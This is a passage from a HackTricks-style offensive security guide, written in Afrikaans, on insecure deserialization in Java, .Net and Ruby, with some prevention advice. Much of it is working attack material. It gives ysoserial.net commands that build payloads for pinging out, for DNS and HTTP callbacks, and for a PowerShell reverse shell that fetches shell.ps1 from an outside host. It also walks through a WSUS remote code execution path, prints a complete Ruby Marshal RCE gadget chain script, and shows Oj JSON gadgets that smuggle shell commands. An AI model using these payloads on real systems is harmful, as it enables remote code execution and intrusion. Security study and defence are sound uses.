Gebruik van ân Java Agent vir sekuriteitsverbetering bied ân alternatiewe oplossing wanneer kodewysiging nie moontlik is nie. Hierdie metode is hoofsaaklik van toepassing op blacklisting harmful classes, deur ân JVM parameter te gebruik:
-javaagent:name-of-agent.jar
Dit bied ân manier om deserialisering dinamies te beveilig, ideaal vir omgewings waar onmiddellike kodeveranderinge onprakties is.
Kyk na ân voorbeeld by rO0 by Contrast Security
Implementering van serialiseringsfilters: Java 9 het serialiseringsfilters geĂŻntroduseer via die ObjectInputFilter-koppelvlak, wat ân kragtige meganisme bied om kriteria te spesifiseer waaraan geserialiseerde objekte moet voldoen voordat hulle gedeseriliseer word. Hierdie filters kan globaal of per stream toegepas word, wat gedetailleerde beheer oor die deserialiseringsproses bied.
Om serialiseringsfilters te gebruik, kan jy ân globale filter stel wat op alle deserialiseringsoperasies van toepassing is, of dit dinamies vir spesifieke streams konfigureer. Byvoorbeeld:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Benutting van Eksterne Biblioteke vir Verbeterde Sekuriteit: Biblioteke soos NotSoSerial, jdeserialize, en Kryo bied gevorderde funksies om Java deserialisering te beheer en te monitor. Hierdie biblioteke kan addisionele sekuriteitslae verskaf, soos whitelisting of blacklisting van klasse, analiseer geserialiseerde objekte voor deserialisering, en die implementering van pasgemaakte serialiseringsstrategieë.
- NotSoSerial onderskep deserialiseringsprosesse om die uitvoering van onbetroubare kode te voorkom.
- jdeserialize maak analise van geserialiseerde Java-objekte moontlik sonder om dit te deserialiseer, wat help om moontlik kwaadwillige inhoud te identifiseer.
- Kryo is ân alternatiewe serialiseringsraamwerk wat spoed en doeltreffendheid beklemtoon, en bied konfigureerbare serialiseringsstrategieĂ« wat sekuriteit kan verbeter.
Verwysings
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialisering en ysoserial praatjie: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Praat oor gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 en slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialisering paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, praatjie: https://www.youtube.com/watch?v=oUAeWhW5b8c en slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialiserings CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Vind wat JNDI Injection is, hoe om dit te misbruik via RMI, CORBA & LDAP en hoe om log4shell uit te buit (en ân voorbeeld van hierdie kwesbaarheid) op die volgende bladsy:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
Die Java Message Service (JMS) API is ân Java-beriggeoriĂ«nteerde middleware-API vir die stuur van boodskappe tussen twee of meer kliĂ«nte. Dit is ân implementering om die produsentâverbruiker probleem te hanteer. JMS is ân deel van die Java Platform, Enterprise Edition (Java EE), en is gedefinieer deur ân spesifikasie ontwikkel by Sun Microsystems, maar wat sedertdien deur die Java Community Process gelei is. Dit is ân boodskapstandaard wat toelaat dat toepassingskomponente gebaseer op Java EE boodskappe kan skep, stuur, ontvang en lees. Dit laat kommunikasie tussen verskillende komponente van ân verspreide toepassing los gekoppel, betroubaar en asinkroon wees. (Van Wikipedia).
Produkte
Daar is verskeie produkte wat hierdie middleware gebruik om boodskappe te stuur:
.png)
.png)
Uitbuiting
Dus, basies is daar ân klomp dienste wat JMS op ân gevaarlike manier gebruik. Daarom, as jy oor genoeg voorregte beskik om boodskappe na hierdie dienste te stuur (gewoonlik benodig jy geldige geloofsbriewe) kan jy moontlik kwaadwillige, geserialiseerde objekte stuur wat deur die consumer/abonnee gedeserialiseer sal word.
Dit beteken dat in hierdie uitbuiting al die kliënte wat daardie boodskap gaan gebruik besmet sal word.
Onthou dat selfs al is ân diens kwesbaar (omdat dit gebruikersinvoer onveilig deserialiseer), jy steeds geldige gadgets moet vind om die kwesbaarheid uit te buit.
Die hulpmiddel JMET is geskep om te koppel en hierdie dienste aan te val deur verskeie kwaadwillige, geserialiseerde objekte te stuur wat bekende gadgets gebruik. Hierdie exploits sal werk as die diens nog steeds kwesbaar is en as enige van die gebruikte gadgets binne die kwesbare toepassing voorkom.
Verwysings
-
Patchstack advisory â Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET praatjie: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
In die konteks van .Net funksioneer deserialiseringsuitbuitings op ân soortgelyke wyse as diĂ© in Java, waar gadgets uitgebuit word om spesifieke kode tydens die deserialisering van ân objek uit te voer.
Fingerafdruk
WhiteBox
Die bronkode moet ondersoek word vir voorkomste van:
TypeNameHandlingJavaScriptTypeResolver
Die fokus moet wees op serializers wat toelaat dat die tipe bepaal word deur ân veranderlike onder gebruikerbeheer.
BlackBox
Die soektog moet op die Base64-geënkodeerde string AAEAAAD///// of enige soortgelyke patroon teiken wat op die bediener-kant aan deserialisering onderwerp kan word, wat beheer gee oor die tipe wat gedeserialiseer moet word. Dit kan insluit, maar is nie beperk tot, JSON of XML strukture met TypeObject of $type.
ysoserial.net
In hierdie geval kan jy die hulpmiddel ysoserial.net gebruik om deserialiseringsuitbuitings te skep. Nadat jy die git-repo afgelaai het, moet jy die hulpmiddel saamstel met byvoorbeeld Visual Studio.
As jy wil leer oor hoe ysoserial.net sy exploit skep kan jy bekyk hierdie bladsy waar die ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter verduidelik word.
Die hoofopsies van ysoserial.net is: --gadget, --formatter, --output en --plugin.
--gadgetword gebruik om die gadget aan te dui wat misbruik sal word (wys die klas/funksie wat tydens deserialisering misbruik sal word om opdragte uit te voer).--formattergebruik om die metode te spesifiseer wat die exploit serialiseer (jy moet weet watter biblioteek die back-end gebruik om die payload te deserialiseer en dieselfde gebruik om dit te serialiseer).--outputgebruik om aan te dui of jy die exploit in raw of base64 gekodeer wil hĂȘ. Let wel dat ysoserial.net die payload kodeer met UTF-16LE (kodering standaard op Windows), so as jy die raw kry en dit net van ân Linux-konsol af kodeer, kan jy kodering-kompatibiliteitsprobleme hĂȘ wat die exploit se korrektheid kan verhoed (in die HTB JSON-boks het die payload in beide UTF-16LE en ASCII gewerk, maar dit beteken nie dit sal altyd werk nie).--pluginysoserial.net ondersteun plugins om exploits vir spesifieke frameworks soos ViewState te vervaardig.
Meer ysoserial.net parameters
--minifysal ân kleiner payload gee (indien moontlik)--raf -f Json.Net -c "anything"Dit sal al die gadgets aandui wat saam met ân gegewe formatter gebruik kan word (Json.Netin hierdie geval)--sf xmljy kan ân gadget aandui (-g) en ysoserial.net sal soek na formatters wat âxmlâ bevat (ongevoelig vir hoofletters)
ysoserial voorbeelde om exploits te skep:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net het ook ân baie interessante parameter wat help om beter te verstaan hoe elke exploit werk: --test\
As jy hierdie parameter aandui, sal ysoserial.net probeer die exploit lokaal, sodat jy kan toets of jou payload korrek sal werk.\
Hierdie parameter is nuttig, want as jy die kode hersien, sal jy stukkies kode soos die volgende vind (van ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Dit beteken dat, om die exploit te toets, die code serializersHelper.JsonNet_deserialize sal aanroep.
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
In die vorige kode is vatbaar vir die geskepte exploit. As jy iets soortgelyks in ân .Net-toepassing vind, beteken dit waarskynlik dat daardie toepassing ook vatbaar is. Daarom laat die --test parameter ons toe om te verstaan watter kodeblokke vatbaar is vir die deserialisatie-exploit wat ysoserial.net kan skep.
ViewState
Kyk na this POST about how to try to exploit the __ViewState parameter of .Net om willekeurige kode uit te voer. As jy die geheime wat deur die slagoffer-masjien gebruik word reeds ken, read this post to know to execute code.
Realâworld sink: WSUS AuthorizationCookie & Reporting SOAP â BinaryFormatter/SoapFormatter RCE
- Geaffekteerde endpoints:
/SimpleAuthWebService/SimpleAuth.asmxâ GetCookie() AuthorizationCookie ontsleutel en daarna gedeserialiseer met BinaryFormatter./ReportingWebService.asmxâ ReportEventBatch en verwante SOAP ops wat SoapFormatter sinks bereik; base64 gadget word verwerk wanneer die WSUS console die gebeurtenis verwerk.- Worteloorsaak: deur-aanvaller-beheerde bytes bereik legacy .NET formatters (BinaryFormatter/SoapFormatter) sonder streng allowâlists/binders, sodat gadget-kettings uitgevoer word as die WSUS-diensrekening (gewoonlik SYSTEM).
Minimal exploitation (Reporting path):
- Genereer ân .NET gadget met ysoserial.net (BinaryFormatter of SoapFormatter) en gee base64-uitset, byvoorbeeld:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"
# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
- Stel ân SOAP-boodskap op vir
ReportEventBatchwat die base64 gadget insluit en POST dit na/ReportingWebService.asmx. - Wanneer ân admin die WSUS console oopmaak, word die gebeurtenis gedeserialiseer en die gadget afgevuur (RCE as SYSTEM).
AuthorizationCookie / GetCookie()
- ân vervalste AuthorizationCookie kan aanvaar, gedekodeer en aan ân BinaryFormatter sink deurgegee word, wat preâauth RCE moontlik maak as dit bereikbaar is.
Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:
$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"
Sien Windows Local Privilege Escalation â WSUS
Voorkoming
Om die risikoâs geassosieer met deserialisering in .Net te beperk:
- Moet nie datastrome toelaat om hul objektipes te definieer nie. Gebruik
DataContractSerializerofXmlSerializerwaar moontlik. - Vir
JSON.Net, stelTypeNameHandlingopNone:TypeNameHandling = TypeNameHandling.None - Moet nie
JavaScriptSerializermetJavaScriptTypeResolvergebruik nie. - Beperk die tipes wat gedeserialiseer kan word, en wees bewus van die inherente risikoâs met .Net-tipes, soos
System.IO.FileInfo, wat die eienskappe van bedienerlĂȘers kan verander, wat moontlik tot denial of service attacks kan lei. - Wees versigtig met tipes wat riskante eienskappe het, soos
System.ComponentModel.DataAnnotations.ValidationExceptionmet syValueeienskap, wat uitgebuit kan word. - Beheer tipe-instansiering veilig om te voorkom dat aanvallers die deserialiseringsproses beĂŻnvloed, wat selfs
DataContractSerializerofXmlSerializerkwesbaar kan maak. - Implementeer witlys-beheer met ân pasgemaakte
SerializationBindervirBinaryFormatterenJSON.Net. - Bly ingelig oor bekende onveilige deserialisering gadgets in .Net en verseker dat deserialiseerders nie sulke tipes instansieer nie.
- Isoleer moontlik riskante kode van kode met internettoegang om te voorkom dat bekende gadgets, soos
System.Windows.Data.ObjectDataProviderin WPF-toepassings, aan onbetroubare databronne blootgestel word.
Verwysings
- Java en .Net JSON deserialisering paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, praatjie: https://www.youtube.com/watch?v=oUAeWhW5b8c en slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
In Ruby word serialisering gefasiliteer deur twee metodes binne die marshal-biblioteek. Die eerste metode, bekend as dump, word gebruik om ân objek na ân byte-stream te omskakel. Hierdie proses staan bekend as serialisering. Omgekeerd word die tweede metode, load, gebruik om ân byte-stream terug in ân objek te verander, ân proses bekend as deserialisering.
Om geserialiseerde objekke te beveilig, gebruik Ruby HMAC (Hash-Based Message Authentication Code), wat die integriteit en egtheid van die data verseker. Die sleutel wat hiervoor gebruik word, word in een van verskeie moontlike plekke gestoor:
config/environment.rbconfig/initializers/secret_token.rbconfig/secrets.yml/proc/self/environ
Ruby 2.X generiese deserialisering na RCE gadget chain (meer info in https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Ander RCE-ketting om Ruby On Rails uit te buit: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() method
Soos verduidelik in this vulnerability report, as ongefiltreerde gebruikersinvoer die .send()-metode van ân ruby-objek bereik, laat hierdie metode toe om enige ander metode van die objek aan te roep met enige parameters.
Byvoorbeeld, deur eval aan te roep en dan ruby-kode as tweede parameter te gee, sal dit toelaat om ewekansige kode uit te voer:
<Object>.send('eval', '<user input with Ruby code>') == RCE
Verder, as slegs een parameter van .send() deur ân aanvaller beheer word, soos in die vorige writeup genoem, is dit moontlik om enige metode van die objek aan te roep wat geen argumente benodig of waarvan die argumente verstekwaardes het.
Daarvoor is dit moontlik om al die metodes van die objek te lys om sommige interessante metodes te vind wat daardie vereistes vervul.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
Kyk hoe dit moontlik kan wees om pollute a Ruby class and abuse it in here.
Ruby _json pollution
Wanneer sekere waardes in die body gestuur word wat nie hashabled is nie, soos ân array, word hulle bygevoeg tot ân nuwe sleutel genaamd _json. Dit is egter moontlik vir ân attacker om in die body ân waarde genaamd _json te stel met arbitraire waardes wat hy wil. As die backend byvoorbeeld die waarheidsgetrouheid van ân parameter nagaan, maar dan ook die _json-parameter gebruik om ân aksie uit te voer, kan ân authorisation bypass uitgevoer word.
Kyk na meer inligting op die Ruby _json pollution page.
Ander libraries
Hierdie tegniek is geneem van hierdie blogpos.
Daar is ander Ruby libraries wat gebruik kan word om objects te serialize en wat dus misbruik kan word om RCE te verkry tydens insecure deserialization. Die volgende tabel wys ân paar van hierdie libraries en die metode wat geroep word van die gelaaide library wanneer dit ge-unserialize word (funksie wat misbruik kan word om RCE te kry basies):
| Library | Input data | Kick-off method inside class |
| Marshal (Ruby) | Binary | _load |
| Oj | JSON | hash (class needs to be put into hash(map) as key) |
| Ox | XML | hash (class needs to be put into hash(map) as key) |
| Psych (Ruby) | YAML | hash (class needs to be put into hash(map) as key)init_with |
| JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
Basiese voorbeeld:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
In die geval van ân poging om Oj te misbruik, was dit moontlik om ân gadget-klas te vind wat binne sy hash-funksie to_s sal aanroep, wat op sy beurt spec sal aanroep, wat weer fetch_path sal aanroep â wat gemaak kon word om ân ewekansige URL te haal, en sodoende ân uitstekende detektor vir hierdie tipe nie-gesuiwerde deserialisering-kwesbaarhede bied.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
Daarbenewens is gevind dat met die vorige tegniek ân gids ook in die stelsel geskep word, wat ân vereiste is om nog ân gadget te misbruik om dit in ân volledige RCE om te skakel met iets soos:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Check vir meer besonderhede in die original post.
Bootstrap Caching
Nie regtig ân deserialization vuln nie, maar ân netjiese truuk om Bootsnap caching te misbruik om RCE te kry vanaf ân Rails application met ân arbitrary file write (vind die volledige original post in here).
Hieronder is ân kort samevatting van die stappe soos in die artikel beskryf om ân arbitrary file write kwetsbaarheid te ekspluateer deur Bootsnap caching te misbruik:
-
Identify the Vulnerability and Environment
Die Rails app se file upload funksionaliteit laat ân aanvaller toe om files arbitrĂȘr te skryf. Alhoewel die app met beperkings loop (slegs sekere directories soos tmp is skryfbaar weens Docker se non-root user), laat dit steeds toe om na die Bootsnap cache directory te skryf (tipies onder tmp/cache/bootsnap).
-
Understand Bootsnapâs Cache Mechanism
Bootsnap versnel Rails boot times deur gecompileerde Ruby code, YAML, en JSON files te cache. Dit stoor cache files wat ân cache key header insluit (met velde soos Ruby version, file size, mtime, compile options, ens.) gevolg deur die compiled code. Hierdie header word gebruik om die cache tydens app startup te valideer.
-
Gather File Metadata
Die aanvaller kies eers ân teikenfile wat waarskynlik tydens Rails startup gelaai word (byvoorbeeld set.rb van Rubyâs standard library). Deur Ruby code binne die container uit te voer, haal hulle kritieke metadata (soos RUBY_VERSION, RUBY_REVISION, size, mtime, en compile_option). Hierdie data is noodsaaklik om ân geldige cache key te vervaardig.
-
Compute the Cache File Path
Deur Bootsnap se FNV-1a 64-bit hash meganisme te repliseer, word die korrekte cache file path bepaal. Hierdie stap verseker dat die kwaadwillige cache file presies geplaas word waar Bootsnap dit verwag (bv. onder tmp/cache/bootsnap/compile-cache-iseq/).
-
Craft the Malicious Cache File
Die aanvaller berei ân payload voor wat:
- Executes arbitrary commands (byvoorbeeld, run id om process info te wys).
- Removes the malicious cache after execution om recursive exploitation te voorkom.
- Loads the original file (bv. set.rb) om te verhoed dat die application crash.
Hierdie payload word gecompileer in binary Ruby code en gekonkateneer met ân noukeurig opgeboude cache key header (gebruik die vooraf versamelde metadata en die korrekte version number vir Bootsnap).
-
Overwrite and Trigger Execution
Deur die arbitrary file write kwetsbaarheid te gebruik, skryf die aanvaller die samengestelde cache file na die berekende lokasie. Volgende, hulle trigger ân server restart (deur na tmp/restart.txt te skryf, wat deur Puma gemonitor word). Tydens restart, wanneer Rails die geteikende file require, word die kwaadwillige cache file gelaai, wat lei tot remote code execution (RCE).
Ruby Marshal exploitation in practice (updated)
Behandel enige pad waar onbetroubare bytes by Marshal.load/marshal_load uitkom as ân RCE sink. Marshal rekonstrueer arbitrĂȘre object graphs en trigger library/gem callbacks tydens materialization.
- Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- Algemene gadget classes wat in werklike chains gesien word:
Gem::SpecFetcher,Gem::Version,Gem::RequestSet::Lockfile,Gem::Resolver::GitSpecification,Gem::Source::Git. - Tipiese side-effect marker ingebed in payloads (uitgevoer tydens unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Waar dit in werklike apps voorkom:
- Rails cache stores en sessiestores wat histories Marshal gebruik
- Background job backends en file-backed object stores
- Enige pasgemaakte persistentie of vervoer van binĂȘre objek-blobbe
Industrialized gadget discovery:
- Grep vir constructors,
hash,_load,init_with, of metode met newe-effekte wat tydens unmarshal aangeroep word - Gebruik CodeQLâs Ruby unsafe deserialization queries om sources â sinks te spoor en gadgets te identifiseer
- Valideer met openbare multi-formaat PoCs (JSON/XML/YAML/Marshal)
References
- Trail of Bits â Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam â Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 â Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI â RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security â Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab â Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab â PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR â Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke â Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke â Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits â Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs â Is This Bad? This Feels Bad â GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
- OffSec â CVE-2025-59287 WSUS unsafe deserialization (blog)
- PoC â tecxx/CVE-2025-59287-WSUS
- RSC Report Lab â CVE-2025-55182 (React 19.2.0)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

